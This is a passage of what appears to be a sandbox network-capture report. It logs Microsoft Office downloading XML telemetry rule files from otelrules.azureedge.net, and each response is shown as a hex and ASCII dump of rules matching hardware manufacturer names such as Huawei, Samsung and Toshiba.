2024-12-03 16:54:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165455Z-174f7845968qj8jrhC1EWRh41s000000162000000000uwqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:56 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:56 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7732d518-401e-0035-4c64-4482d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165456Z-174f784596886s2bhC1EWR743w00000016b00000000023vc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:56 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:57 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 5aec2b48-201e-0085-7d6b-4334e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165458Z-174f7845968qj8jrhC1EWRh41s000000165000000000f44b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:57 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:58 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: f843b097-901e-00ac-53c3-43b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165458Z-174f7845968vqt9xhC1EWRgten00000016b000000000390b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:58 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:58 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:58 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 25bfb1e7-201e-00aa-3dab-423928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165458Z-174f7845968glpgnhC1EWR7uec00000016b000000000ka6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:58 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:58 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2132beec-901e-00ac-46aa-42b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165458Z-174f78459685726chC1EWRsnbg000000167000000000kz39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:58 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:58 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 1e31e9ea-701e-0098-028a-43395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165458Z-174f7845968vqt9xhC1EWRgten00000016bg0000000017qn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:58 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:00 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 5592fd3c-101e-005a-5def-44882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165500Z-174f7845968frfdmhC1EWRxxbw000000165g00000000qsq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:00 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:00 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 06c834e2-b01e-0001-1c8a-4346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165500Z-174f784596886s2bhC1EWR743w000000165g00000000qx8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:00 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:00 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:00 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: b5d3fb3c-c01e-000b-6fb4-42e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165500Z-174f7845968xr5c2hC1EWRd0hn0000000r5g000000000hby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:00 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 390b1506-101e-0017-0101-4247c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165500Z-174f7845968glpgnhC1EWR7uec000000167g00000000z0d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:00 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:01 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 9dc9d887-801e-0015-73b3-42f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165501Z-174f7845968zgtf6hC1EWRqd8s0000000z7g0000000057rb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:01 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
